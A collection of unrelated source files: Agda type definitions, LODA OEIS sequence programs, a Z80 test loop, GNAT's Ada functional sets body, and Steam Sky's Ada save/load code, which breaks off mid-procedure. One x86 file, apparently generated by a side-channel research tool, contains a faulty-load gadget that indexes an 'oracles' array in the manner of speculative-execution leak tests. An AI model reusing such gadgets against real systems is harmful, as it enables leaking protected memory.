Source/ALL/Languages/ILL/TypeSyntax.agda | heades/Agda-LLS | 3 | 7328 | module Languages.ILL.TypeSyntax where
open import bool
open import Utils.HaskellTypes
{-# IMPORT Languages.ILL.TypeSyntax #-}
data Type : Set where
TVar : String → Type
Top : Type
Imp : Type → Type → Type
Tensor : Type → Type → Type
Bang : Type → Type
{-# COMPILED_DATA Type Languages.ILL.TypeSyntax.Type
Languages.ILL.TypeSyntax.TVar
Languages.ILL.TypeSyntax.Top
Languages.ILL.TypeSyntax.Imp
Languages.ILL.TypeSyntax.Tensor
Languages.ILL.TypeSyntax.Bang #-}
_eq-type_ : Type → Type → 𝔹
(TVar _) eq-type (TVar _) = tt
Top eq-type Top = tt
(Imp A C) eq-type (Imp B D) = (A eq-type B) && (C eq-type D)
(Tensor A C) eq-type (Tensor B D) = (A eq-type B) && (C eq-type D)
(Bang A) eq-type (Bang B) = A eq-type B
_ eq-type _ = ff
|
programs/oeis/053/A053733.asm | karttu/loda | 1 | 163118 | <filename>programs/oeis/053/A053733.asm
; A053733: a(n) = ceiling(binomial(n,9)/n).
; 0,0,0,0,0,0,0,0,1,1,5,19,55,143,334,715,1430,2702,4862,8398,13997,22610,35530,54480,81719,120175,173587,246675,345345,476905,650325,876525,1168700,1542684,2017356,2615092,3362260,4289780,5433722,6835972,8544965,10616472,13114465,16112057,19692515,23950355,28992535,34939722,41927666,50108674,59653184,70751450,83615350,98480302,115607310,135285150,157832675,183601275,212977479,246385711,284291205,327203085,375677617,430321633,491796152,560820174,638174680,724706840,821334419,929050408,1048927880,1182125072,1329890705,1493569561,1674608296,1874561525,2095098175,2338008109,2605209035,2898753715,3220837462,3573805950,3960163350,4382580774,4843905066,5347167930,5895595410,6492617730,7141879503,7847250319,8612835715,9442988555,10342320799,11315715697,12368340413,13505659072,14733446260,16057800980,17485161068,19022318084,20676432700,22455050567,24366118700,26418002380,28619502579,30979873925,33508843225,36216628537,39113958819,42212094171,45522846655,49058601735,52832340330,56857661498,61148805762,65720679090,70588877542,75769712590,81280237142,87138272252,93362434555,99972164435,106987754922,114430381351,122322131789,130686038237,139546108625,148927359625,158855850267,169358716400,180464206000,192201715334,204601826000,217696342864,231518332888,246102164880,261483550185,277699584305,294788789493,312791158317,331748198215,351702977055,372700169715,394786105699,418008817798,442418091830,468065517444,495004540030,523290513746,552980755661,584134601050,616813459850,651080874287,687002577695,724646554555,764083101742,805384891025,848627032825,893887141243,941245400381,990784631980,1042590364372,1096750902780,1153357400988,1212503934372,1274287574340,1338808464180,1406169896340,1476478391157,1549843777053,1626379272217,1706201567785,1789430912555,1876191199225,1966610052199,2060818916975,2158953151117,2261152116850,2367559275290,2478322282322,2593593086150,2713528026550,2838287935817,2968038241454,3102949070611,3243195356289,3388956945335,3540418708255,3697770650845,3861208027677,4030931457465,4207147040305,4390066476840,4579907189352,4776892444808,4981251479880,5193219627960,5413038448192,5640955856536,5877226258904,6122110686359,6375876932425,6638799692525,6911160705552,7193248897615,7485360527975,7787799337187,8100876697475,8424911765374,8760231636633,9107171503430,9466074813910,9837293434064,10221187811978,10618127144482,11028489546202,11452662221055,11891041636215,12344033698547,12812053933563,13295527666905,13794890208385,14310587038605,14843073998181,15392817479596,15960294621700,16545993506900,17150413361034,17774064755980,18417469815020,19081162420967,19765688427100,20471605870925,21199485190781,21949909445321,22723474535905,23520789431902,24342476398955,25189171230223,26061523480621,26960196704090,27885868693930,28839231726202,29820992806242,30831873918318,31872612278430,32943960590310,34046687304630,35181576881451,36349430055939
bin $0,8
mov $1,$0
add $1,8
div $1,9
|
programs/oeis/010/A010020.asm | neoneye/loda | 22 | 83152 | ; A010020: a(0) = 1, a(n) = 31*n^2 + 2 for n>0.
; 1,33,126,281,498,777,1118,1521,1986,2513,3102,3753,4466,5241,6078,6977,7938,8961,10046,11193,12402,13673,15006,16401,17858,19377,20958,22601,24306,26073,27902,29793,31746,33761,35838,37977,40178,42441,44766,47153,49602,52113,54686,57321,60018,62777,65598,68481,71426,74433,77502,80633,83826,87081,90398,93777,97218,100721,104286,107913,111602,115353,119166,123041,126978,130977,135038,139161,143346,147593,151902,156273,160706,165201,169758,174377,179058,183801,188606,193473,198402,203393,208446,213561,218738,223977,229278,234641,240066,245553,251102,256713,262386,268121,273918,279777,285698,291681,297726,303833
pow $1,$0
gcd $1,2
mov $3,$0
mul $3,$0
mov $2,$3
mul $2,31
add $1,$2
mov $0,$1
|
Software/rom/01_first_prg/first_program.asm | dbuchwald/Z80DevBoard | 2 | 175422 | <filename>Software/rom/01_first_prg/first_program.asm
org 0x0000
start:
include "init.inc"
ld HL, 0x0200
loop:
ld (HL), 0x55
ld (HL), 0xaa
jp loop |
programs/oeis/155/A155645.asm | neoneye/loda | 22 | 100298 | ; A155645: 7^n+6^n-1.
; 1,12,84,558,3696,24582,164304,1103478,7444416,50431302,342941424,2340123798,16018069536,109949704422,756587236944,5217746494518,36054040477056,249557173431942,1729973554578864,12008254925383638
mov $1,6
pow $1,$0
mov $2,7
pow $2,$0
add $1,$2
sub $1,1
mov $0,$1
|
support/MinGW/lib/gcc/mingw32/9.2.0/adainclude/a-cofuse.adb | orb-zhuchen/Orb | 0 | 13911 | ------------------------------------------------------------------------------
-- --
-- GNAT LIBRARY COMPONENTS --
-- --
-- ADA.CONTAINERS.FUNCTIONAL_SETS --
-- --
-- B o d y --
-- --
-- Copyright (C) 2016-2019, Free Software Foundation, Inc. --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
------------------------------------------------------------------------------
pragma Ada_2012;
package body Ada.Containers.Functional_Sets with SPARK_Mode => Off is
use Containers;
---------
-- "=" --
---------
function "=" (Left : Set; Right : Set) return Boolean is
(Left.Content <= Right.Content and Right.Content <= Left.Content);
----------
-- "<=" --
----------
function "<=" (Left : Set; Right : Set) return Boolean is
(Left.Content <= Right.Content);
---------
-- Add --
---------
function Add (Container : Set; Item : Element_Type) return Set is
(Content =>
Add (Container.Content, Length (Container.Content) + 1, Item));
--------------
-- Contains --
--------------
function Contains (Container : Set; Item : Element_Type) return Boolean is
(Find (Container.Content, Item) > 0);
---------------------
-- Included_Except --
---------------------
function Included_Except
(Left : Set;
Right : Set;
Item : Element_Type) return Boolean
is
(for all E of Left =>
Equivalent_Elements (E, Item) or Contains (Right, E));
-----------------------
-- Included_In_Union --
-----------------------
function Included_In_Union
(Container : Set;
Left : Set;
Right : Set) return Boolean
is
(for all Item of Container =>
Contains (Left, Item) or Contains (Right, Item));
---------------------------
-- Includes_Intersection --
---------------------------
function Includes_Intersection
(Container : Set;
Left : Set;
Right : Set) return Boolean
is
(for all Item of Left =>
(if Contains (Right, Item) then Contains (Container, Item)));
------------------
-- Intersection --
------------------
function Intersection (Left : Set; Right : Set) return Set is
(Content => Intersection (Left.Content, Right.Content));
--------------
-- Is_Empty --
--------------
function Is_Empty (Container : Set) return Boolean is
(Length (Container.Content) = 0);
------------------
-- Is_Singleton --
------------------
function Is_Singleton
(Container : Set;
New_Item : Element_Type) return Boolean
is
(Length (Container.Content) = 1
and New_Item = Get (Container.Content, 1));
------------
-- Length --
------------
function Length (Container : Set) return Count_Type is
(Length (Container.Content));
-----------------
-- Not_In_Both --
-----------------
function Not_In_Both
(Container : Set;
Left : Set;
Right : Set) return Boolean
is
(for all Item of Container =>
not Contains (Right, Item) or not Contains (Left, Item));
----------------
-- No_Overlap --
----------------
function No_Overlap (Left : Set; Right : Set) return Boolean is
(Num_Overlaps (Left.Content, Right.Content) = 0);
------------------
-- Num_Overlaps --
------------------
function Num_Overlaps (Left : Set; Right : Set) return Count_Type is
(Num_Overlaps (Left.Content, Right.Content));
------------
-- Remove --
------------
function Remove (Container : Set; Item : Element_Type) return Set is
(Content => Remove (Container.Content, Find (Container.Content, Item)));
-----------
-- Union --
-----------
function Union (Left : Set; Right : Set) return Set is
(Content => Union (Left.Content, Right.Content));
end Ada.Containers.Functional_Sets;
|
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_206_1648.asm | ljhsiun2/medusa | 9 | 2595 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r8
push %rbx
push %rdi
lea addresses_normal_ht+0x10772, %r12
nop
xor $17279, %r10
movb (%r12), %r14b
nop
nop
nop
inc %r10
lea addresses_WC_ht+0xfa0, %r8
clflush (%r8)
nop
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %rbx
movq %rbx, (%r8)
nop
nop
nop
and %r8, %r8
pop %rdi
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r15
push %r8
push %r9
// Store
lea addresses_normal+0x8cca, %r10
nop
add %r15, %r15
mov $0x5152535455565758, %r8
movq %r8, %xmm5
vmovups %ymm5, (%r10)
inc %r14
// Store
lea addresses_WC+0x158ca, %r10
nop
nop
cmp %r13, %r13
mov $0x5152535455565758, %r14
movq %r14, %xmm1
movups %xmm1, (%r10)
nop
nop
nop
cmp %r10, %r10
// Faulty Load
lea addresses_normal+0x8cca, %r8
nop
nop
nop
nop
cmp $64453, %r14
mov (%r8), %r11w
lea oracles, %r10
and $0xff, %r11
shlq $12, %r11
mov (%r10,%r11,1), %r11
pop %r9
pop %r8
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'58': 206}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
programs/oeis/203/A203232.asm | neoneye/loda | 22 | 27403 | ; A203232: (n-1)-st elementary symmetric function of the first n terms of the periodic sequence (2,3,2,3,2,3,...).
; 1,5,16,60,156,540,1296,4320,9936,32400,72576,233280,513216,1632960,3545856,11197440,24074496,75582720,161243136,503884800,1068235776,3325639680,7014076416,21767823360,45712429056,141490851840
add $0,1
seq $0,26549 ; Ratios of successive terms are 2,3,2,3,2,3,2,3...
seq $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
|
src/game-saveload.adb | thindil/steamsky | 80 | 7121 | -- Copyright 2017-2021 <NAME>
--
-- This file is part of Steam Sky.
--
-- Steam Sky is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation, either version 3 of the License, or
-- (at your option) any later version.
--
-- Steam Sky is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with Steam Sky. If not, see <http://www.gnu.org/licenses/>.
with Ada.Directories;
with Ada.Exceptions;
with Ada.Strings.Fixed;
with Ada.Text_IO.Text_Streams;
with Ada.Text_IO;
with DOM.Core; use DOM.Core;
with DOM.Core.Documents; use DOM.Core.Documents;
with DOM.Core.Elements; use DOM.Core.Elements;
with DOM.Core.Nodes; use DOM.Core.Nodes;
with DOM.Readers;
with Input_Sources.File;
with Bases;
with Bases.SaveLoad; use Bases.SaveLoad;
with Careers;
with Config; use Config;
with Crafts; use Crafts;
with Events; use Events;
with Goals; use Goals;
with Log; use Log;
with Maps; use Maps;
with Messages; use Messages;
with Missions; use Missions;
with Ships; use Ships;
with Ships.SaveLoad; use Ships.SaveLoad;
with Statistics; use Statistics;
with Stories; use Stories;
with Utils;
package body Game.SaveLoad is
-- ****iv* GSaveLoad/GSaveLoad.Save_Version
-- FUNCTION
-- Current version of the save game
-- SOURCE
Save_Version: constant Positive := 5;
-- ****
procedure Save_Game(Pretty_Print: Boolean := False) is
use Ada.Strings.Fixed;
use Ada.Text_IO;
use Ada.Text_IO.Text_Streams;
--## rule off IMPROPER_INITIALIZATION
Save: DOM_Implementation;
--## rule on IMPROPER_INITIALIZATION
Category_Node, Main_Node: DOM.Core.Element;
Raw_Value: Unbounded_String := Null_Unbounded_String;
Save_File: File_Type;
Save_Data: Document;
procedure Save_Statistics
(Statistics_Vector: in out Statistics_Container.Vector;
Stat_Name: String) is
Stat_Node: DOM.Core.Element;
begin
Save_Statistics_Loop :
for Statistic of Statistics_Vector loop
Stat_Node :=
Append_Child
(N => Category_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => Stat_Name));
Set_Attribute
(Elem => Stat_Node, Name => "index",
Value => To_String(Source => Statistic.Index));
Raw_Value :=
To_Unbounded_String(Source => Integer'Image(Statistic.Amount));
Set_Attribute
(Elem => Stat_Node, Name => "amount",
Value =>
To_String
(Source =>
Trim(Source => Raw_Value, Side => Ada.Strings.Left)));
end loop Save_Statistics_Loop;
end Save_Statistics;
procedure Save_Number
(Value: Integer; Name: String;
Node: DOM.Core.Element := Category_Node) is
Number_String: constant String :=
Trim(Source => Integer'Image(Value), Side => Ada.Strings.Left);
begin
Set_Attribute(Elem => Node, Name => Name, Value => Number_String);
end Save_Number;
--## rule off TYPE_INITIAL_VALUES
type Difficulty_Data is record
Name: Unbounded_String;
Value: Bonus_Type;
end record;
--## rule on TYPE_INITIAL_VALUES
Difficulties: constant array(1 .. 8) of Difficulty_Data :=
(1 =>
(Name => To_Unbounded_String(Source => "enemydamagebonus"),
Value => New_Game_Settings.Enemy_Damage_Bonus),
2 =>
(Name => To_Unbounded_String(Source => "playerdamagebonus"),
Value => New_Game_Settings.Player_Damage_Bonus),
3 =>
(Name => To_Unbounded_String(Source => "enemymeleedamagebonus"),
Value => New_Game_Settings.Enemy_Melee_Damage_Bonus),
4 =>
(Name => To_Unbounded_String(Source => "playermeleedamagebonus"),
Value => New_Game_Settings.Player_Melee_Damage_Bonus),
5 =>
(Name => To_Unbounded_String(Source => "experiencebonus"),
Value => New_Game_Settings.Experience_Bonus),
6 =>
(Name => To_Unbounded_String(Source => "reputationbonus"),
Value => New_Game_Settings.Reputation_Bonus),
7 =>
(Name => To_Unbounded_String(Source => "upgradecostbonus"),
Value => New_Game_Settings.Upgrade_Cost_Bonus),
8 =>
(Name => To_Unbounded_String(Source => "pricesbonus"),
Value => New_Game_Settings.Prices_Bonus));
begin
Log_Message
(Message =>
"Start saving game in file " & To_String(Source => Save_Name) & ".",
Message_Type => EVERYTHING);
--## rule off IMPROPER_INITIALIZATION
Save_Data := Create_Document(Implementation => Save);
--## rule on IMPROPER_INITIALIZATION
Main_Node :=
Append_Child
(N => Save_Data,
New_Child => Create_Element(Doc => Save_Data, Tag_Name => "save"));
-- Write save game version
Set_Attribute
(Elem => Main_Node, Name => "version",
Value =>
Trim
(Source => Positive'Image(Save_Version),
Side => Ada.Strings.Left));
-- Save game difficulty settings
Log_Message
(Message => "Saving game difficulty settings...",
Message_Type => EVERYTHING, New_Line => False);
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "difficulty"));
Save_Difficulty_Loop :
for Difficulty of Difficulties loop
Raw_Value :=
To_Unbounded_String(Source => Bonus_Type'Image(Difficulty.Value));
Set_Attribute
(Elem => Category_Node,
Name => To_String(Source => Difficulty.Name),
Value =>
To_String
(Source =>
Trim(Source => Raw_Value, Side => Ada.Strings.Left)));
end loop Save_Difficulty_Loop;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save game date
Log_Message
(Message => "Saving game time...", Message_Type => EVERYTHING,
New_Line => False);
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "gamedate"));
Save_Number(Value => Game_Date.Year, Name => "year");
Save_Number(Value => Game_Date.Month, Name => "month");
Save_Number(Value => Game_Date.Day, Name => "day");
Save_Number(Value => Game_Date.Hour, Name => "hour");
Save_Number(Value => Game_Date.Minutes, Name => "minutes");
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save map
Log_Message
(Message => "Saving map...", Message_Type => EVERYTHING,
New_Line => False);
Save_Map_Block :
declare
Field_Node: DOM.Core.Element;
begin
Save_Map_X_Loop :
for X in SkyMap'Range(1) loop
Save_Map_Y_Loop :
for Y in SkyMap'Range(2) loop
if SkyMap(X, Y).Visited then
Field_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element
(Doc => Save_Data, Tag_Name => "field"));
Save_Number(Value => X, Name => "x", Node => Field_Node);
Save_Number(Value => Y, Name => "y", Node => Field_Node);
end if;
end loop Save_Map_Y_Loop;
end loop Save_Map_X_Loop;
end Save_Map_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save bases
Log_Message
(Message => "Saving bases...", Message_Type => EVERYTHING,
New_Line => False);
SaveBases(SaveData => Save_Data, MainNode => Main_Node);
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save player ship
Log_Message
(Message => "Saving player ship...", Message_Type => EVERYTHING,
New_Line => False);
SavePlayerShip(SaveData => Save_Data, MainNode => Main_Node);
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save known recipes
Log_Message
(Message => "Saving known recipes...", Message_Type => EVERYTHING,
New_Line => False);
Save_Known_Recipes_Block :
declare
Recipe_Node: DOM.Core.Element;
begin
Save_Known_Recipes_Loop :
for Recipe of Known_Recipes loop
Recipe_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "recipe"));
Set_Attribute
(Elem => Recipe_Node, Name => "index",
Value => To_String(Source => Recipe));
end loop Save_Known_Recipes_Loop;
end Save_Known_Recipes_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save messages
Log_Message
(Message => "Saving messages...", Message_Type => EVERYTHING,
New_Line => False);
Save_Messages_Block :
declare
Messages_To_Save: constant Natural :=
(if Game_Settings.Saved_Messages > MessagesAmount then
MessagesAmount
else Game_Settings.Saved_Messages);
Start_Loop: Positive := 1;
Message_Node: DOM.Core.Element;
Message: Message_Data :=
(Message => Null_Unbounded_String, MType => Default,
Color => WHITE);
Message_Text: Text;
begin
if Messages_To_Save > 0 then
Start_Loop := MessagesAmount - Messages_To_Save + 1;
Save_Messages_Loop :
for I in Start_Loop .. MessagesAmount loop
Message := GetMessage(MessageIndex => I);
Message_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "message"));
Save_Number
(Value => Message_Type'Pos(Message.MType), Name => "type",
Node => Message_Node);
Save_Number
(Value => Message_Color'Pos(Message.Color), Name => "color",
Node => Message_Node);
--## rule off ASSIGNMENTS
Message_Text :=
Create_Text_Node
(Doc => Save_Data,
Data => To_String(Source => Message.Message));
Message_Text :=
Append_Child(N => Message_Node, New_Child => Message_Text);
--## rule on ASSIGNMENTS
end loop Save_Messages_Loop;
end if;
end Save_Messages_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save events
Log_Message
(Message => "Saving events...", Message_Type => EVERYTHING,
New_Line => False);
Save_Known_Events_Block :
declare
Event_Node: DOM.Core.Element;
begin
Save_Events_Loop :
for Event of Events_List loop
Event_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "event"));
Save_Number
(Value => Events_Types'Pos(Event.EType), Name => "type",
Node => Event_Node);
Save_Number(Value => Event.SkyX, Name => "x", Node => Event_Node);
Save_Number(Value => Event.SkyY, Name => "y", Node => Event_Node);
Save_Number
(Value => Event.Time, Name => "time", Node => Event_Node);
case Event.EType is
when DoublePrice =>
Raw_Value := Event.ItemIndex;
when AttackOnBase | EnemyShip | EnemyPatrol | Trader |
FriendlyShip =>
Raw_Value := Event.ShipIndex;
when others =>
Raw_Value :=
To_Unbounded_String(Source => Integer'Image(Event.Data));
end case;
Set_Attribute
(Elem => Event_Node, Name => "data",
Value =>
To_String
(Source =>
Trim(Source => Raw_Value, Side => Ada.Strings.Left)));
end loop Save_Events_Loop;
end Save_Known_Events_Block;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save game statistics
Log_Message
(Message => "Saving game statistics...", Message_Type => EVERYTHING,
New_Line => False);
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "statistics"));
Save_Statistics
(Statistics_Vector => GameStats.DestroyedShips,
Stat_Name => "destroyedships");
Save_Number(Value => GameStats.BasesVisited, Name => "visitedbases");
Save_Number(Value => GameStats.MapVisited, Name => "mapdiscovered");
Save_Number
(Value => GameStats.DistanceTraveled, Name => "distancetraveled");
Save_Statistics
(Statistics_Vector => GameStats.CraftingOrders,
Stat_Name => "finishedcrafts");
Save_Number
(Value => GameStats.AcceptedMissions, Name => "acceptedmissions");
Save_Statistics
(Statistics_Vector => GameStats.FinishedMissions,
Stat_Name => "finishedmissions");
Save_Statistics
(Statistics_Vector => GameStats.FinishedGoals,
Stat_Name => "finishedgoals");
Save_Statistics
(Statistics_Vector => GameStats.KilledMobs, Stat_Name => "killedmobs");
Save_Number(Value => GameStats.Points, Name => "points");
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save current goal
Log_Message
(Message => "Saving current goal...", Message_Type => EVERYTHING,
New_Line => False);
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "currentgoal"));
Set_Attribute
(Elem => Category_Node, Name => "index",
Value => To_String(Source => CurrentGoal.Index));
Save_Number(Value => GoalTypes'Pos(CurrentGoal.GType), Name => "type");
Save_Number(Value => CurrentGoal.Amount, Name => "amount");
Set_Attribute
(Elem => Category_Node, Name => "target",
Value => To_String(Source => CurrentGoal.TargetIndex));
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
-- Save current story
if CurrentStory.Index /= Null_Unbounded_String then
Log_Message
(Message => "Saving current story...", Message_Type => EVERYTHING,
New_Line => False);
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "currentstory"));
Set_Attribute
(Elem => Category_Node, Name => "index",
Value => To_String(Source => CurrentStory.Index));
Raw_Value :=
To_Unbounded_String(Source => Positive'Image(CurrentStory.Step));
Set_Attribute
(Elem => Category_Node, Name => "step",
Value =>
To_String
(Source =>
Trim(Source => Raw_Value, Side => Ada.Strings.Left)));
case CurrentStory.CurrentStep is
when 0 =>
Set_Attribute
(Elem => Category_Node, Name => "currentstep",
Value => "start");
when -1 =>
Set_Attribute
(Elem => Category_Node, Name => "currentstep",
Value => "finish");
when others =>
Set_Attribute
(Elem => Category_Node, Name => "currentstep",
Value =>
To_String
(Source =>
Stories_List(CurrentStory.Index).Steps
(CurrentStory.CurrentStep)
.Index));
end case;
Save_Number(Value => CurrentStory.MaxSteps, Name => "maxsteps");
if CurrentStory.ShowText then
Set_Attribute
(Elem => Category_Node, Name => "showtext", Value => "Y");
else
Set_Attribute
(Elem => Category_Node, Name => "showtext", Value => "N");
end if;
if CurrentStory.Data /= Null_Unbounded_String then
Set_Attribute
(Elem => Category_Node, Name => "data",
Value => To_String(Source => CurrentStory.Data));
end if;
Save_Number
(Value => StepConditionType'Pos(CurrentStory.FinishedStep),
Name => "finishedstep");
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
end if;
-- Save finished stories data
Save_Finished_Stories_Block :
declare
Step_Node: DOM.Core.Element;
Step_Text: Text;
begin
Log_Message
(Message => "Saving finished stories...",
Message_Type => EVERYTHING, New_Line => False);
Save_Finished_Stories_Loop :
for FinishedStory of FinishedStories loop
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element
(Doc => Save_Data, Tag_Name => "finishedstory"));
Set_Attribute
(Elem => Category_Node, Name => "index",
Value => To_String(Source => FinishedStory.Index));
Save_Number
(Value => FinishedStory.StepsAmount, Name => "stepsamount");
Save_Story_Steps_Loop :
for Step of FinishedStory.StepsTexts loop
Step_Node :=
Append_Child
(N => Category_Node,
New_Child =>
Create_Element
(Doc => Save_Data, Tag_Name => "steptext"));
--## rule off ASSIGNMENTS
Step_Text :=
Create_Text_Node
(Doc => Save_Data, Data => To_String(Source => Step));
Step_Text :=
Append_Child(N => Step_Node, New_Child => Step_Text);
--## rule on ASSIGNMENTS
end loop Save_Story_Steps_Loop;
end loop Save_Finished_Stories_Loop;
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
end Save_Finished_Stories_Block;
-- Save missions accepted by player
Save_Missions_Loop :
for Mission of AcceptedMissions loop
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element
(Doc => Save_Data, Tag_Name => "acceptedmission"));
Save_Number
(Value => Missions_Types'Pos(Mission.MType), Name => "type");
Raw_Value :=
(if Mission.MType = Deliver then Mission.ItemIndex
elsif Mission.MType = Passenger then
To_Unbounded_String(Source => Integer'Image(Mission.Data))
elsif Mission.MType = Destroy then Mission.ShipIndex
else To_Unbounded_String(Source => Integer'Image(Mission.Target)));
Set_Attribute
(Elem => Category_Node, Name => "target",
Value =>
To_String
(Source =>
Trim(Source => Raw_Value, Side => Ada.Strings.Left)));
Save_Number(Value => Mission.Time, Name => "time");
Save_Number(Value => Mission.TargetX, Name => "targetx");
Save_Number(Value => Mission.TargetY, Name => "targety");
Save_Number(Value => Mission.Reward, Name => "reward");
Save_Number(Value => Mission.StartBase, Name => "startbase");
if Mission.Finished then
Set_Attribute
(Elem => Category_Node, Name => "finished", Value => "Y");
else
Set_Attribute
(Elem => Category_Node, Name => "finished", Value => "N");
end if;
if Mission.Multiplier /= 1.0 then
Raw_Value :=
To_Unbounded_String
(Source => RewardMultiplier'Image(Mission.Multiplier));
Set_Attribute
(Elem => Category_Node, Name => "multiplier",
Value =>
To_String
(Source =>
Trim(Source => Raw_Value, Side => Ada.Strings.Left)));
end if;
end loop Save_Missions_Loop;
-- Save player career
Log_Message
(Message => "Saving player career...", Message_Type => EVERYTHING,
New_Line => False);
Category_Node :=
Append_Child
(N => Main_Node,
New_Child =>
Create_Element(Doc => Save_Data, Tag_Name => "playercareer"));
Set_Attribute
(Elem => Category_Node, Name => "index",
Value => To_String(Source => Player_Career));
Log_Message
(Message => "done.", Message_Type => EVERYTHING, New_Line => True,
Time_Stamp => False);
Create
(File => Save_File, Mode => Out_File,
Name => To_String(Source => Save_Name));
Write
(Stream => Stream(File => Save_File), N => Save_Data,
Pretty_Print => Pretty_Print);
Close(File => Save_File);
Log_Message
(Message => "Finished saving game.", Message_Type => EVERYTHING);
end Save_Game;
procedure Load_Game is
use Ada.Exceptions;
use DOM.Readers;
use Input_Sources.File;
use Careers;
Save_File: File_Input;
--## rule off IMPROPER_INITIALIZATION
Reader: Tree_Reader;
Child_Nodes_List: Node_List;
--## rule on IMPROPER_INITIALIZATION
Nodes_List: Node_List;
Saved_Node: Node;
Save_Data: Document;
begin
Log_Message
(Message =>
"Start loading game from file " & To_String(Source => Save_Name) &
".",
Message_Type => EVERYTHING);
Open(Filename => To_String(Source => Save_Name), Input => Save_File);
--## rule off IMPROPER_INITIALIZATION
Parse(Parser => Reader, Input => Save_File);
